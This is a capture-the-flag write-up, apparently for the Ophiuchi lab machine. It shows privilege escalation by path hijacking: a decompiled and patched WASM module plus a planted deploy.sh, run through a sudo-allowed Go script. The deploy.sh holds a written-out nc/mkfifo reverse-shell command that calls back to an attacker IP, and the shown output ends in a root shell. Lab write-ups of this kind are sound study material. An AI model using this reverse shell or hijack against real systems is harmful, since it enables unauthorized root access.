Path Hijacking


As discovered previously, both main.wasm and deploy.sh file are loaded to the index.go file WITHOUT absolute paths.

If I am able to forge my very own main.wasm and deploy.sh, I may be able to get code execution the condition that i need for code execution is the followings: 1. The value of the “info” export of the newly instantiated WASM module being equal to 1 2. A custom deploy.sh file (No Absolute PATH)

In order to get the first condition checked, I need to check the main.wasm file

main.wasm


admin@ophiuchi:/opt/wasm-functions$ nc 10.10.14.10 2222 < main.wasm 
 
┌──(kali㉿kali)-[~/…/htb/labs/ophiuchi/WASM]
└─$ nnc 2222 > main.wasm
listening on [any] 2222 ...
connect to [10.10.14.10] from (UNKNOWN) [10.10.10.227] 41448

Transfer complete

┌──(kali㉿kali)-[~/…/htb/labs/ophiuchi/WASM]
└─$ file main.wasm             
main.wasm: WebAssembly (wasm) binary module version 0x1 (MVP)

It is indeed a GO binary file

This is my first time engaging with a GO binary, let alone a WASM file. After making some research about WASM, I realized that

  • The main.wasm file is essentially a Go program that is compiled to Web Assembly
  • It was likely complied in WASM for efficient web deployment

I would need to disassemble this binary in order to progress forward There is a toolkit suite, wabt, which comes with a lots of tools including many disassemblers Kali Repo has it. I will download and install it.

Decompilation


There are 2 tools within the suite that I know of perform disassembling the compiled WASM binary

  • wasm-decompile: disassembles WASM binary to programming-languages-like expression based syntax structure
  • wasm2wat: converts WASM binary to the human-readable WAT format

this blog article goes in-depth about the difference between those two.

One thing for sure is that the wasm-decompile tool was designed with readability in the first priority. I will go with both and see what comes out.

wasm-decompile


┌──(kali㉿kali)-[~/…/htb/labs/ophiuchi/WASM]
└─$ wasm-decompile main.wasm -o main.wasm.decompiled
 
┌──(kali㉿kali)-[~/…/htb/labs/ophiuchi/WASM]
└─$ cat main.wasm.decompiled 
export memory memory(initial: 16, max: 0);
 
global g_a:int = 1048576;
export global data_end:int = 1048576;
export global heap_base:int = 1048576;
 
table T_a:funcref(min: 1, max: 1);
 
export function info():int {
  return 0
}

This was done with the wasm-decompile tool I can see that it exports a function, info(), and returns 0 While I am quite positive that this is the cause for the index.go script to print out, “Not ready to deploy”, I will confirm it using ChatGPT.

This is the interpretation from ChatGPT

I tried making a simple script based on the decompiled data above in both GO and C, and compiled it back to the WASM format This failed and it was MUCH harder way to resolve this issue

Moving on

wasm2wat


┌──(kali㉿kali)-[~/…/htb/labs/ophiuchi/WASM]
└─$ wasm2wat main.wasm -o main.wat
 
┌──(kali㉿kali)-[~/…/htb/labs/ophiuchi/WASM]
└─$ cat main.wat            
(module
  (type (;0;) (func (result i32)))
  (func $info (type 0) (result i32)
    i32.const 0)
  (table (;0;) 1 1 funcref)
  (memory (;0;) 16)
  (global (;0;) (mut i32) (i32.const 1048576))
  (global (;1;) i32 (i32.const 1048576))
  (global (;2;) i32 (i32.const 1048576))
  (export "memory" (memory 0))
  (export "info" (func $info))
  (export "__data_end" (global 1))
  (export "__heap_base" (global 2)))

I can also decompile the WASM binary using the other tool from the suite; wasm2wat .WAT is supposed to be a human-readable format of Web Assembly I can see that there is a function, $info, with the assigned i32.const variable to the value of 0

I should be able to change that value to 1 and compile it back to achieve the first condition For compilation, I can use the wat2wasm tool from the suite

Compile


I changed the value of the i32.const variable to 1 This should now meet the first condition and the index.go script should proceed to execute the deploy.sh file

┌──(kali㉿kali)-[~/…/htb/labs/ophiuchi/WASM]
└─$ wat2wasm main.wat -o main.wasm.fake

Compiling it was so simple. very similar to gcc

Exploitation


┌──(kali㉿kali)-[~/…/htb/labs/ophiuchi/WASM]
└─$ sshpass -pwhythereisalimit scp main.wasm.fake admin@$ip:/dev/shm/main.wasm

Transferring the newly compiled WASM binary to the target system’s /dev/shm/main.wasm using scp

admin@ophiuchi:/dev/shm$ nano deploy.sh 
admin@ophiuchi:/dev/shm$ cat deploy.sh 
#!/bin/sh
mkfifo /tmp/cspsra; nc 10.10.14.10 1234 0</tmp/cspsra | /bin/sh >/tmp/cspsra 2>&1; rm /tmp/cspsra

I also created a fake deploy.sh file, with its content being a reverse shell command

admin@ophiuchi:/dev/shm$ ll
total 8
drwxrwxrwt  2 root  root    80 mar 29 17:15 ./
drwxr-xr-x 17 root  root  3940 mar 29 11:24 ../
-rw-rw-r--  1 admin admin  107 mar 29 17:15 deploy.sh
-rw-r--r--  1 admin admin  112 mar 29 17:14 main.wasm

Everything is set

admin@ophiuchi:/dev/shm$ sudo -u root /usr/bin/go run /opt/wasm-functions/index.go
Ready to deploy

Executing the sudo-privilege command as the root user. It prompts Ready to deploy as expected. This means that the index.go file had successfully read the fake WASM file that I compiled. It should have executed the deploy.sh file, which contains a reverse shell

┌──(kali㉿kali)-[~/archive/htb/labs/ophiuchi]
└─$ nnc 1234                                                       
listening on [any] 1234 ...
connect to [10.10.14.10] from (UNKNOWN) [10.10.10.227] 47402
whoami
root
hostname
ophiuchi
ifconfig
ens160: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.10.10.227  netmask 255.255.255.0  broadcast 10.10.10.255
        inet6 dead:beef::250:56ff:feb9:3d0d  prefixlen 64  scopeid 0x0<global>
        inet6 fe80::250:56ff:feb9:3d0d  prefixlen 64  scopeid 0x20<link>
        ether 00:50:56:b9:3d:0d  txqueuelen 1000  (Ethernet)
        RX packets 23752  bytes 5664160 (5.6 MB)
        RX errors 0  dropped 150  overruns 0  frame 0
        TX packets 7465  bytes 12675620 (12.6 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
 
lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 60394  bytes 4300218 (4.3 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 60394  bytes 4300218 (4.3 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

System Level Compromise